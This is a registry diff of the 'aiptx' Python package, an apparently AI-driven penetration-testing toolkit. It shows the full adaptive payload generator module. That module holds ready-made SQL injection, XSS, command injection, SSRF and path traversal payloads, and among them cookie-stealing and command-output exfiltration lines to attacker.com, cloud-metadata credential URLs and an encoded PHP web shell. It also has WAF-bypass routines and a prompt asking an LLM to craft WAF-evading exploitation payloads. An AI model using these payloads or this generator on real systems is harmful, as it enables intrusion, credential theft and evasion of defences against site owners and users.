aiptx 2.0.7__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (187) hide show
  1. aipt_v2/__init__.py +110 -0
  2. aipt_v2/__main__.py +24 -0
  3. aipt_v2/agents/AIPTxAgent/__init__.py +10 -0
  4. aipt_v2/agents/AIPTxAgent/aiptx_agent.py +211 -0
  5. aipt_v2/agents/__init__.py +46 -0
  6. aipt_v2/agents/base.py +520 -0
  7. aipt_v2/agents/exploit_agent.py +688 -0
  8. aipt_v2/agents/ptt.py +406 -0
  9. aipt_v2/agents/state.py +168 -0
  10. aipt_v2/app.py +957 -0
  11. aipt_v2/browser/__init__.py +31 -0
  12. aipt_v2/browser/automation.py +458 -0
  13. aipt_v2/browser/crawler.py +453 -0
  14. aipt_v2/cli.py +2933 -0
  15. aipt_v2/compliance/__init__.py +71 -0
  16. aipt_v2/compliance/compliance_report.py +449 -0
  17. aipt_v2/compliance/framework_mapper.py +424 -0
  18. aipt_v2/compliance/nist_mapping.py +345 -0
  19. aipt_v2/compliance/owasp_mapping.py +330 -0
  20. aipt_v2/compliance/pci_mapping.py +297 -0
  21. aipt_v2/config.py +341 -0
  22. aipt_v2/core/__init__.py +43 -0
  23. aipt_v2/core/agent.py +630 -0
  24. aipt_v2/core/llm.py +395 -0
  25. aipt_v2/core/memory.py +305 -0
  26. aipt_v2/core/ptt.py +329 -0
  27. aipt_v2/database/__init__.py +14 -0
  28. aipt_v2/database/models.py +232 -0
  29. aipt_v2/database/repository.py +384 -0
  30. aipt_v2/docker/__init__.py +23 -0
  31. aipt_v2/docker/builder.py +260 -0
  32. aipt_v2/docker/manager.py +222 -0
  33. aipt_v2/docker/sandbox.py +371 -0
  34. aipt_v2/evasion/__init__.py +58 -0
  35. aipt_v2/evasion/request_obfuscator.py +272 -0
  36. aipt_v2/evasion/tls_fingerprint.py +285 -0
  37. aipt_v2/evasion/ua_rotator.py +301 -0
  38. aipt_v2/evasion/waf_bypass.py +439 -0
  39. aipt_v2/execution/__init__.py +23 -0
  40. aipt_v2/execution/executor.py +302 -0
  41. aipt_v2/execution/parser.py +544 -0
  42. aipt_v2/execution/terminal.py +337 -0
  43. aipt_v2/health.py +437 -0
  44. aipt_v2/intelligence/__init__.py +194 -0
  45. aipt_v2/intelligence/adaptation.py +474 -0
  46. aipt_v2/intelligence/auth.py +520 -0
  47. aipt_v2/intelligence/chaining.py +775 -0
  48. aipt_v2/intelligence/correlation.py +536 -0
  49. aipt_v2/intelligence/cve_aipt.py +334 -0
  50. aipt_v2/intelligence/cve_info.py +1111 -0
  51. aipt_v2/intelligence/knowledge_graph.py +590 -0
  52. aipt_v2/intelligence/learning.py +626 -0
  53. aipt_v2/intelligence/llm_analyzer.py +502 -0
  54. aipt_v2/intelligence/llm_tool_selector.py +518 -0
  55. aipt_v2/intelligence/payload_generator.py +562 -0
  56. aipt_v2/intelligence/rag.py +239 -0
  57. aipt_v2/intelligence/scope.py +442 -0
  58. aipt_v2/intelligence/searchers/__init__.py +5 -0
  59. aipt_v2/intelligence/searchers/exploitdb_searcher.py +523 -0
  60. aipt_v2/intelligence/searchers/github_searcher.py +467 -0
  61. aipt_v2/intelligence/searchers/google_searcher.py +281 -0
  62. aipt_v2/intelligence/tools.json +443 -0
  63. aipt_v2/intelligence/triage.py +670 -0
  64. aipt_v2/interactive_shell.py +559 -0
  65. aipt_v2/interface/__init__.py +5 -0
  66. aipt_v2/interface/cli.py +230 -0
  67. aipt_v2/interface/main.py +501 -0
  68. aipt_v2/interface/tui.py +1276 -0
  69. aipt_v2/interface/utils.py +583 -0
  70. aipt_v2/llm/__init__.py +39 -0
  71. aipt_v2/llm/config.py +26 -0
  72. aipt_v2/llm/llm.py +514 -0
  73. aipt_v2/llm/memory.py +214 -0
  74. aipt_v2/llm/request_queue.py +89 -0
  75. aipt_v2/llm/utils.py +89 -0
  76. aipt_v2/local_tool_installer.py +1467 -0
  77. aipt_v2/models/__init__.py +15 -0
  78. aipt_v2/models/findings.py +295 -0
  79. aipt_v2/models/phase_result.py +224 -0
  80. aipt_v2/models/scan_config.py +207 -0
  81. aipt_v2/monitoring/grafana/dashboards/aipt-dashboard.json +355 -0
  82. aipt_v2/monitoring/grafana/dashboards/default.yml +17 -0
  83. aipt_v2/monitoring/grafana/datasources/prometheus.yml +17 -0
  84. aipt_v2/monitoring/prometheus.yml +60 -0
  85. aipt_v2/orchestration/__init__.py +52 -0
  86. aipt_v2/orchestration/pipeline.py +398 -0
  87. aipt_v2/orchestration/progress.py +300 -0
  88. aipt_v2/orchestration/scheduler.py +296 -0
  89. aipt_v2/orchestrator.py +2427 -0
  90. aipt_v2/payloads/__init__.py +27 -0
  91. aipt_v2/payloads/cmdi.py +150 -0
  92. aipt_v2/payloads/sqli.py +263 -0
  93. aipt_v2/payloads/ssrf.py +204 -0
  94. aipt_v2/payloads/templates.py +222 -0
  95. aipt_v2/payloads/traversal.py +166 -0
  96. aipt_v2/payloads/xss.py +204 -0
  97. aipt_v2/prompts/__init__.py +60 -0
  98. aipt_v2/proxy/__init__.py +29 -0
  99. aipt_v2/proxy/history.py +352 -0
  100. aipt_v2/proxy/interceptor.py +452 -0
  101. aipt_v2/recon/__init__.py +44 -0
  102. aipt_v2/recon/dns.py +241 -0
  103. aipt_v2/recon/osint.py +367 -0
  104. aipt_v2/recon/subdomain.py +372 -0
  105. aipt_v2/recon/tech_detect.py +311 -0
  106. aipt_v2/reports/__init__.py +17 -0
  107. aipt_v2/reports/generator.py +313 -0
  108. aipt_v2/reports/html_report.py +378 -0
  109. aipt_v2/runtime/__init__.py +53 -0
  110. aipt_v2/runtime/base.py +30 -0
  111. aipt_v2/runtime/docker.py +401 -0
  112. aipt_v2/runtime/local.py +346 -0
  113. aipt_v2/runtime/tool_server.py +205 -0
  114. aipt_v2/runtime/vps.py +830 -0
  115. aipt_v2/scanners/__init__.py +28 -0
  116. aipt_v2/scanners/base.py +273 -0
  117. aipt_v2/scanners/nikto.py +244 -0
  118. aipt_v2/scanners/nmap.py +402 -0
  119. aipt_v2/scanners/nuclei.py +273 -0
  120. aipt_v2/scanners/web.py +454 -0
  121. aipt_v2/scripts/security_audit.py +366 -0
  122. aipt_v2/setup_wizard.py +941 -0
  123. aipt_v2/skills/__init__.py +80 -0
  124. aipt_v2/skills/agents/__init__.py +14 -0
  125. aipt_v2/skills/agents/api_tester.py +706 -0
  126. aipt_v2/skills/agents/base.py +477 -0
  127. aipt_v2/skills/agents/code_review.py +459 -0
  128. aipt_v2/skills/agents/security_agent.py +336 -0
  129. aipt_v2/skills/agents/web_pentest.py +818 -0
  130. aipt_v2/skills/prompts/__init__.py +647 -0
  131. aipt_v2/system_detector.py +539 -0
  132. aipt_v2/telemetry/__init__.py +7 -0
  133. aipt_v2/telemetry/tracer.py +347 -0
  134. aipt_v2/terminal/__init__.py +28 -0
  135. aipt_v2/terminal/executor.py +400 -0
  136. aipt_v2/terminal/sandbox.py +350 -0
  137. aipt_v2/tools/__init__.py +44 -0
  138. aipt_v2/tools/active_directory/__init__.py +78 -0
  139. aipt_v2/tools/active_directory/ad_config.py +238 -0
  140. aipt_v2/tools/active_directory/bloodhound_wrapper.py +447 -0
  141. aipt_v2/tools/active_directory/kerberos_attacks.py +430 -0
  142. aipt_v2/tools/active_directory/ldap_enum.py +533 -0
  143. aipt_v2/tools/active_directory/smb_attacks.py +505 -0
  144. aipt_v2/tools/agents_graph/__init__.py +19 -0
  145. aipt_v2/tools/agents_graph/agents_graph_actions.py +69 -0
  146. aipt_v2/tools/api_security/__init__.py +76 -0
  147. aipt_v2/tools/api_security/api_discovery.py +608 -0
  148. aipt_v2/tools/api_security/graphql_scanner.py +622 -0
  149. aipt_v2/tools/api_security/jwt_analyzer.py +577 -0
  150. aipt_v2/tools/api_security/openapi_fuzzer.py +761 -0
  151. aipt_v2/tools/browser/__init__.py +5 -0
  152. aipt_v2/tools/browser/browser_actions.py +238 -0
  153. aipt_v2/tools/browser/browser_instance.py +535 -0
  154. aipt_v2/tools/browser/tab_manager.py +344 -0
  155. aipt_v2/tools/cloud/__init__.py +70 -0
  156. aipt_v2/tools/cloud/cloud_config.py +273 -0
  157. aipt_v2/tools/cloud/cloud_scanner.py +639 -0
  158. aipt_v2/tools/cloud/prowler_tool.py +571 -0
  159. aipt_v2/tools/cloud/scoutsuite_tool.py +359 -0
  160. aipt_v2/tools/executor.py +307 -0
  161. aipt_v2/tools/parser.py +408 -0
  162. aipt_v2/tools/proxy/__init__.py +5 -0
  163. aipt_v2/tools/proxy/proxy_actions.py +103 -0
  164. aipt_v2/tools/proxy/proxy_manager.py +789 -0
  165. aipt_v2/tools/registry.py +196 -0
  166. aipt_v2/tools/scanners/__init__.py +343 -0
  167. aipt_v2/tools/scanners/acunetix_tool.py +712 -0
  168. aipt_v2/tools/scanners/burp_tool.py +631 -0
  169. aipt_v2/tools/scanners/config.py +156 -0
  170. aipt_v2/tools/scanners/nessus_tool.py +588 -0
  171. aipt_v2/tools/scanners/zap_tool.py +612 -0
  172. aipt_v2/tools/terminal/__init__.py +5 -0
  173. aipt_v2/tools/terminal/terminal_actions.py +37 -0
  174. aipt_v2/tools/terminal/terminal_manager.py +153 -0
  175. aipt_v2/tools/terminal/terminal_session.py +449 -0
  176. aipt_v2/tools/tool_processing.py +108 -0
  177. aipt_v2/utils/__init__.py +17 -0
  178. aipt_v2/utils/logging.py +202 -0
  179. aipt_v2/utils/model_manager.py +187 -0
  180. aipt_v2/utils/searchers/__init__.py +269 -0
  181. aipt_v2/verify_install.py +793 -0
  182. aiptx-2.0.7.dist-info/METADATA +345 -0
  183. aiptx-2.0.7.dist-info/RECORD +187 -0
  184. aiptx-2.0.7.dist-info/WHEEL +5 -0
  185. aiptx-2.0.7.dist-info/entry_points.txt +7 -0
  186. aiptx-2.0.7.dist-info/licenses/LICENSE +21 -0
  187. aiptx-2.0.7.dist-info/top_level.txt +1 -0
@@ -0,0 +1,562 @@
1
+ """
2
+ AIPT Adaptive Payload Generator
3
+
4
+ Uses LLM intelligence to generate context-aware exploitation payloads:
5
+ - WAF-aware payload crafting
6
+ - Technology-specific payloads
7
+ - Learns from failed attempts
8
+ - Generates bypass variants
9
+
10
+ This provides intelligent, adaptive payload generation for exploitation.
11
+ """
12
+ from __future__ import annotations
13
+
14
+ import json
15
+ import logging
16
+ import os
17
+ from dataclasses import dataclass, field
18
+ from datetime import datetime
19
+ from typing import Any, Optional
20
+
21
+ from aipt_v2.models.findings import VulnerabilityType
22
+
23
+ logger = logging.getLogger(__name__)
24
+
25
+
26
+ # Built-in payload templates by vulnerability type
27
+ PAYLOAD_TEMPLATES = {
28
+ "sql_injection": {
29
+ "detection": [
30
+ "' OR '1'='1",
31
+ "' OR '1'='1' --",
32
+ "1' AND '1'='1",
33
+ "1 AND 1=1",
34
+ "' UNION SELECT NULL--",
35
+ "'; WAITFOR DELAY '0:0:5'--",
36
+ "1' AND SLEEP(5)#",
37
+ ],
38
+ "union_based": [
39
+ "' UNION SELECT NULL,NULL,NULL--",
40
+ "' UNION SELECT username,password,NULL FROM users--",
41
+ "-1 UNION SELECT table_name,NULL FROM information_schema.tables--",
42
+ ],
43
+ "error_based": [
44
+ "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--",
45
+ "' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
46
+ ],
47
+ "time_based": [
48
+ "'; WAITFOR DELAY '0:0:5'--",
49
+ "' AND SLEEP(5)--",
50
+ "' AND BENCHMARK(5000000,MD5('test'))--",
51
+ ],
52
+ },
53
+ "xss_reflected": {
54
+ "basic": [
55
+ "<script>alert(1)</script>",
56
+ "<img src=x onerror=alert(1)>",
57
+ "<svg/onload=alert(1)>",
58
+ "javascript:alert(1)",
59
+ "<body onload=alert(1)>",
60
+ ],
61
+ "event_handlers": [
62
+ "<img src=x onerror=alert(1)>",
63
+ "<svg onload=alert(1)>",
64
+ "<body onload=alert(1)>",
65
+ "<input onfocus=alert(1) autofocus>",
66
+ "<marquee onstart=alert(1)>",
67
+ "<video><source onerror=alert(1)>",
68
+ ],
69
+ "encoded": [
70
+ "<script>alert&#40;1&#41;</script>",
71
+ "<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>",
72
+ "\\x3cscript\\x3ealert(1)\\x3c/script\\x3e",
73
+ ],
74
+ "polyglots": [
75
+ "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcLiCk=alert() )//",
76
+ "'>><marquee><img src=x onerror=confirm(1)></marquee>\"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)>",
77
+ ],
78
+ },
79
+ "xss_stored": {
80
+ "basic": [
81
+ "<script>alert(document.cookie)</script>",
82
+ "<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>",
83
+ ],
84
+ "persistent": [
85
+ "<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>",
86
+ ],
87
+ },
88
+ "command_injection": {
89
+ "detection": [
90
+ "; id",
91
+ "| id",
92
+ "& id",
93
+ "`id`",
94
+ "$(id)",
95
+ "; sleep 5",
96
+ "| sleep 5",
97
+ ],
98
+ "unix": [
99
+ "; cat /etc/passwd",
100
+ "| cat /etc/passwd",
101
+ "; whoami",
102
+ "| whoami",
103
+ "; uname -a",
104
+ "$(cat /etc/passwd)",
105
+ ],
106
+ "windows": [
107
+ "& type C:\\Windows\\System32\\drivers\\etc\\hosts",
108
+ "| type C:\\Windows\\System32\\drivers\\etc\\hosts",
109
+ "& whoami",
110
+ "| whoami",
111
+ ],
112
+ "blind": [
113
+ "; ping -c 5 attacker.com",
114
+ "| curl https://attacker.com/$(whoami)",
115
+ "; nslookup attacker.com",
116
+ ],
117
+ },
118
+ "ssrf": {
119
+ "localhost": [
120
+ "http://localhost/",
121
+ "http://127.0.0.1/",
122
+ "http://[::1]/",
123
+ "http://0.0.0.0/",
124
+ "http://localhost:22/",
125
+ "http://localhost:3306/",
126
+ ],
127
+ "cloud_metadata": [
128
+ "http://169.254.169.254/latest/meta-data/",
129
+ "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
130
+ "http://metadata.google.internal/computeMetadata/v1/",
131
+ "http://169.254.169.254/metadata/v1/",
132
+ ],
133
+ "bypass": [
134
+ "http://127.1/",
135
+ "http://0177.0.0.1/",
136
+ "http://2130706433/",
137
+ "http://127.0.0.1.nip.io/",
138
+ ],
139
+ },
140
+ "lfi": {
141
+ "basic": [
142
+ "../../../etc/passwd",
143
+ "....//....//....//etc/passwd",
144
+ "/etc/passwd",
145
+ "....\\\\....\\\\....\\\\windows\\system32\\drivers\\etc\\hosts",
146
+ ],
147
+ "encoded": [
148
+ "..%2f..%2f..%2fetc/passwd",
149
+ "..%252f..%252f..%252fetc/passwd",
150
+ "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
151
+ ],
152
+ "wrappers": [
153
+ "php://filter/convert.base64-encode/resource=index.php",
154
+ "php://input",
155
+ "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=",
156
+ "expect://id",
157
+ ],
158
+ },
159
+ }
160
+
161
+ # WAF bypass techniques
162
+ WAF_BYPASS_TECHNIQUES = {
163
+ "cloudflare": {
164
+ "encoding": ["double_url_encode", "unicode", "html_entities"],
165
+ "case_variation": True,
166
+ "null_bytes": True,
167
+ "comment_injection": True,
168
+ },
169
+ "akamai": {
170
+ "encoding": ["unicode", "hex"],
171
+ "case_variation": True,
172
+ "whitespace_variation": True,
173
+ },
174
+ "aws_waf": {
175
+ "encoding": ["double_url_encode"],
176
+ "case_variation": True,
177
+ "comment_injection": True,
178
+ },
179
+ "modsecurity": {
180
+ "encoding": ["unicode", "hex", "html_entities"],
181
+ "comment_injection": True,
182
+ "null_bytes": False,
183
+ },
184
+ }
185
+
186
+
187
+ PAYLOAD_GENERATION_PROMPT = """You are an expert penetration tester crafting exploitation payloads.
188
+
189
+ ## Context
190
+ - **Vulnerability Type**: {vuln_type}
191
+ - **Target URL**: {target_url}
192
+ - **Target Parameter**: {parameter}
193
+ - **Technology Stack**: {tech_stack}
194
+ - **WAF Detected**: {waf}
195
+ - **Previous Failed Payloads**: {failed_payloads}
196
+
197
+ ## Objective
198
+ {objective}
199
+
200
+ ## Constraints
201
+ - Must bypass detected WAF ({waf})
202
+ - Must work with technology stack ({tech_stack})
203
+ - Avoid patterns that failed before
204
+
205
+ ## Task
206
+ Generate 5 optimized payloads that are likely to succeed given the context.
207
+ For each payload, explain:
208
+ 1. The technique used
209
+ 2. Why it should bypass the WAF
210
+ 3. How it exploits the vulnerability
211
+
212
+ ## Output Format (JSON)
213
+ ```json
214
+ {{
215
+ "payloads": [
216
+ {{
217
+ "payload": "the actual payload",
218
+ "technique": "technique name",
219
+ "waf_bypass_method": "how it bypasses WAF",
220
+ "explanation": "why this works",
221
+ "confidence": "high|medium|low"
222
+ }}
223
+ ],
224
+ "recommendations": "Additional testing recommendations"
225
+ }}
226
+ ```"""
227
+
228
+
229
+ @dataclass
230
+ class GeneratedPayload:
231
+ """A generated exploitation payload."""
232
+ payload: str
233
+ technique: str
234
+ waf_bypass_method: str
235
+ explanation: str
236
+ confidence: str = "medium"
237
+ generated_at: datetime = field(default_factory=datetime.utcnow)
238
+
239
+ def to_dict(self) -> dict[str, Any]:
240
+ return {
241
+ "payload": self.payload,
242
+ "technique": self.technique,
243
+ "waf_bypass_method": self.waf_bypass_method,
244
+ "explanation": self.explanation,
245
+ "confidence": self.confidence,
246
+ }
247
+
248
+
249
+ @dataclass
250
+ class PayloadGenerationResult:
251
+ """Result of payload generation."""
252
+ payloads: list[GeneratedPayload]
253
+ recommendations: str
254
+ vuln_type: str
255
+ waf: Optional[str] = None
256
+ generated_at: datetime = field(default_factory=datetime.utcnow)
257
+
258
+ def get_high_confidence(self) -> list[GeneratedPayload]:
259
+ """Get only high-confidence payloads."""
260
+ return [p for p in self.payloads if p.confidence == "high"]
261
+
262
+ def to_dict(self) -> dict[str, Any]:
263
+ return {
264
+ "payloads": [p.to_dict() for p in self.payloads],
265
+ "recommendations": self.recommendations,
266
+ "vuln_type": self.vuln_type,
267
+ "waf": self.waf,
268
+ "generated_at": self.generated_at.isoformat(),
269
+ }
270
+
271
+
272
+ class AdaptivePayloadGenerator:
273
+ """
274
+ LLM-powered adaptive payload generator.
275
+
276
+ Generates context-aware exploitation payloads that:
277
+ - Consider the detected WAF and its known bypasses
278
+ - Adapt to the target technology stack
279
+ - Learn from failed attempts
280
+ - Use multiple encoding/obfuscation techniques
281
+
282
+ Example:
283
+ generator = AdaptivePayloadGenerator()
284
+
285
+ # Generate payloads for SQLi with CloudFlare WAF
286
+ result = await generator.generate(
287
+ vuln_type="sql_injection",
288
+ target_url="https://example.com/search",
289
+ parameter="q",
290
+ waf="cloudflare",
291
+ tech_stack="php/mysql"
292
+ )
293
+
294
+ for payload in result.payloads:
295
+ print(f"Try: {payload.payload}")
296
+ print(f"Technique: {payload.technique}")
297
+ """
298
+
299
+ def __init__(
300
+ self,
301
+ llm_provider: str = "anthropic",
302
+ llm_model: str = "claude-3-haiku-20240307",
303
+ use_learning: bool = True,
304
+ ):
305
+ self.llm_provider = llm_provider
306
+ self.llm_model = llm_model
307
+ self.use_learning = use_learning
308
+ self._llm = None
309
+ self._learner = None
310
+
311
+ async def _get_llm(self):
312
+ """Get or create LLM client."""
313
+ if self._llm is None:
314
+ try:
315
+ import litellm
316
+ self._llm = litellm
317
+ except ImportError:
318
+ return None
319
+ return self._llm
320
+
321
+ def _get_learner(self):
322
+ """Get or create learner instance."""
323
+ if self._learner is None and self.use_learning:
324
+ try:
325
+ from aipt_v2.intelligence.learning import ExploitationLearner
326
+ self._learner = ExploitationLearner()
327
+ except ImportError:
328
+ pass
329
+ return self._learner
330
+
331
+ async def generate(
332
+ self,
333
+ vuln_type: str,
334
+ target_url: str = "",
335
+ parameter: str = "",
336
+ waf: str = None,
337
+ tech_stack: str = None,
338
+ failed_payloads: list[str] = None,
339
+ objective: str = "Achieve successful exploitation",
340
+ ) -> PayloadGenerationResult:
341
+ """
342
+ Generate context-aware payloads.
343
+
344
+ Args:
345
+ vuln_type: Type of vulnerability (e.g., "sql_injection")
346
+ target_url: Target URL
347
+ parameter: Vulnerable parameter name
348
+ waf: Detected WAF name
349
+ tech_stack: Target technology stack
350
+ failed_payloads: List of payloads that have already failed
351
+ objective: Exploitation objective
352
+
353
+ Returns:
354
+ PayloadGenerationResult with generated payloads
355
+ """
356
+ failed_payloads = failed_payloads or []
357
+
358
+ # First, try to get historical successful payloads
359
+ learner = self._get_learner()
360
+ historical_payloads = []
361
+ if learner:
362
+ suggestions = learner.get_payload_suggestions(vuln_type, waf=waf, limit=3)
363
+ historical_payloads = [s.payload for s in suggestions if s.success_rate > 0.5]
364
+
365
+ # Try LLM generation
366
+ llm = await self._get_llm()
367
+ if llm and self._has_api_key():
368
+ try:
369
+ result = await self._llm_generate(
370
+ vuln_type, target_url, parameter, waf,
371
+ tech_stack, failed_payloads, objective
372
+ )
373
+ # Prepend historical successes
374
+ for hp in historical_payloads:
375
+ if hp not in [p.payload for p in result.payloads]:
376
+ result.payloads.insert(0, GeneratedPayload(
377
+ payload=hp,
378
+ technique="Historical success",
379
+ waf_bypass_method="Previously successful",
380
+ explanation="This payload succeeded in similar contexts",
381
+ confidence="high",
382
+ ))
383
+ return result
384
+ except Exception as e:
385
+ logger.warning(f"LLM payload generation failed: {e}")
386
+
387
+ # Fall back to template-based generation
388
+ return self._template_generate(
389
+ vuln_type, waf, tech_stack, failed_payloads, historical_payloads
390
+ )
391
+
392
+ async def _llm_generate(
393
+ self,
394
+ vuln_type: str,
395
+ target_url: str,
396
+ parameter: str,
397
+ waf: str,
398
+ tech_stack: str,
399
+ failed_payloads: list[str],
400
+ objective: str,
401
+ ) -> PayloadGenerationResult:
402
+ """Generate payloads using LLM."""
403
+ llm = await self._get_llm()
404
+
405
+ prompt = PAYLOAD_GENERATION_PROMPT.format(
406
+ vuln_type=vuln_type,
407
+ target_url=target_url,
408
+ parameter=parameter,
409
+ tech_stack=tech_stack or "Unknown",
410
+ waf=waf or "None detected",
411
+ failed_payloads=json.dumps(failed_payloads[:10]) if failed_payloads else "None",
412
+ objective=objective,
413
+ )
414
+
415
+ model_str = f"{self.llm_provider}/{self.llm_model}"
416
+ if self.llm_provider == "anthropic" and not self.llm_model.startswith("anthropic/"):
417
+ model_str = f"anthropic/{self.llm_model}"
418
+
419
+ response = await llm.acompletion(
420
+ model=model_str,
421
+ messages=[{"role": "user", "content": prompt}],
422
+ max_tokens=2000,
423
+ temperature=0.5,
424
+ )
425
+
426
+ return self._parse_llm_response(response.choices[0].message.content, vuln_type, waf)
427
+
428
+ def _parse_llm_response(
429
+ self,
430
+ response: str,
431
+ vuln_type: str,
432
+ waf: str,
433
+ ) -> PayloadGenerationResult:
434
+ """Parse LLM response into PayloadGenerationResult."""
435
+ try:
436
+ # Extract JSON
437
+ json_start = response.find("{")
438
+ json_end = response.rfind("}") + 1
439
+ if json_start >= 0 and json_end > json_start:
440
+ data = json.loads(response[json_start:json_end])
441
+ else:
442
+ raise ValueError("No JSON found")
443
+
444
+ payloads = []
445
+ for p in data.get("payloads", []):
446
+ payloads.append(GeneratedPayload(
447
+ payload=p.get("payload", ""),
448
+ technique=p.get("technique", ""),
449
+ waf_bypass_method=p.get("waf_bypass_method", ""),
450
+ explanation=p.get("explanation", ""),
451
+ confidence=p.get("confidence", "medium"),
452
+ ))
453
+
454
+ return PayloadGenerationResult(
455
+ payloads=payloads,
456
+ recommendations=data.get("recommendations", ""),
457
+ vuln_type=vuln_type,
458
+ waf=waf,
459
+ )
460
+
461
+ except (json.JSONDecodeError, ValueError) as e:
462
+ logger.warning(f"Failed to parse LLM response: {e}")
463
+ raise
464
+
465
+ def _template_generate(
466
+ self,
467
+ vuln_type: str,
468
+ waf: str,
469
+ tech_stack: str,
470
+ failed_payloads: list[str],
471
+ historical_payloads: list[str],
472
+ ) -> PayloadGenerationResult:
473
+ """Generate payloads using templates."""
474
+ templates = PAYLOAD_TEMPLATES.get(vuln_type, {})
475
+ payloads = []
476
+
477
+ # Add historical successes first
478
+ for hp in historical_payloads:
479
+ payloads.append(GeneratedPayload(
480
+ payload=hp,
481
+ technique="Historical success",
482
+ waf_bypass_method="Previously successful",
483
+ explanation="This payload succeeded in similar contexts",
484
+ confidence="high",
485
+ ))
486
+
487
+ # Add template payloads
488
+ for category, category_payloads in templates.items():
489
+ for payload in category_payloads:
490
+ if payload in failed_payloads:
491
+ continue
492
+ if len(payloads) >= 10:
493
+ break
494
+
495
+ # Apply WAF bypass if needed
496
+ if waf:
497
+ payload = self._apply_waf_bypass(payload, waf, vuln_type)
498
+
499
+ payloads.append(GeneratedPayload(
500
+ payload=payload,
501
+ technique=category,
502
+ waf_bypass_method=f"Adapted for {waf}" if waf else "None",
503
+ explanation=f"Standard {vuln_type} payload ({category})",
504
+ confidence="medium",
505
+ ))
506
+
507
+ return PayloadGenerationResult(
508
+ payloads=payloads[:10],
509
+ recommendations=f"Template-based payloads for {vuln_type}",
510
+ vuln_type=vuln_type,
511
+ waf=waf,
512
+ )
513
+
514
+ def _apply_waf_bypass(self, payload: str, waf: str, vuln_type: str) -> str:
515
+ """Apply WAF bypass techniques to a payload."""
516
+ waf_config = WAF_BYPASS_TECHNIQUES.get(waf.lower(), {})
517
+
518
+ if not waf_config:
519
+ return payload
520
+
521
+ modified = payload
522
+
523
+ # Apply case variation
524
+ if waf_config.get("case_variation"):
525
+ # Randomly vary case for SQL keywords
526
+ import random
527
+ sql_keywords = ["SELECT", "UNION", "FROM", "WHERE", "AND", "OR", "INSERT", "UPDATE", "DELETE"]
528
+ for keyword in sql_keywords:
529
+ if keyword.lower() in modified.lower():
530
+ varied = "".join(
531
+ c.upper() if random.random() > 0.5 else c.lower()
532
+ for c in keyword
533
+ )
534
+ modified = modified.replace(keyword, varied)
535
+ modified = modified.replace(keyword.lower(), varied)
536
+
537
+ # Apply encoding
538
+ encodings = waf_config.get("encoding", [])
539
+ if "double_url_encode" in encodings and vuln_type in ["sql_injection", "xss_reflected"]:
540
+ # Double URL encode special chars
541
+ import urllib.parse
542
+ modified = urllib.parse.quote(urllib.parse.quote(modified, safe=""), safe="")
543
+
544
+ # Apply comment injection for SQL
545
+ if waf_config.get("comment_injection") and vuln_type == "sql_injection":
546
+ # Add inline comments
547
+ modified = modified.replace(" ", "/**/")
548
+
549
+ return modified
550
+
551
+ def get_detection_payloads(self, vuln_type: str) -> list[str]:
552
+ """Get basic detection payloads for a vulnerability type."""
553
+ templates = PAYLOAD_TEMPLATES.get(vuln_type, {})
554
+ return templates.get("detection", templates.get("basic", []))[:5]
555
+
556
+ def _has_api_key(self) -> bool:
557
+ """Check if API key is available."""
558
+ if self.llm_provider == "anthropic":
559
+ return bool(os.getenv("ANTHROPIC_API_KEY"))
560
+ if self.llm_provider == "openai":
561
+ return bool(os.getenv("OPENAI_API_KEY"))
562
+ return False